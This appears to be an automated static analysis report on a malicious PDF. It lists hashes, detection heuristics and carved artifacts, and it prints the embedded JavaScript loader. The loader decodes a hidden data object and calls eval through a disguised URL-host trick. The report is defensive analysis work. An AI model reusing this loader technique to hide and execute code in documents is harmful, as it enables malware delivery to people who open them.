Malicious PDF — malware analysis report

Static analysis result for SHA-256 e68cf298bdfb9ae4…

MALICIOUS

PDF

4.6 KB First seen: 2026-05-08
MD5: 8b9f48c76270362dcea6c5ac741d6cff SHA-1: d023df56a2a08b07bf6c0705757d1661487886be SHA-256: e68cf298bdfb9ae41b22c0f1b2ade74485727a065cc383244817a73af7e402e7
76 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. This JavaScript is likely responsible for downloading and executing a secondary payload, as suggested by the presence of an embedded file artifact. The document body contains unusual text ('clown clown clown beer.txt') which may be a lure or obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x482 79747 bytes
SHA-256: fd2a83d01066f05991a8f066de9f09f83a3126889605ee1a16831a1b273ce057
Detection
ClamAV: No threats found
Obfuscation or payload: likely
264 of 264 identifiers look randomly generated (e.g. 'dGvs6svSxpEbbEpB1dGvs6svSxpEbbEpB2dGvs6s') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x224 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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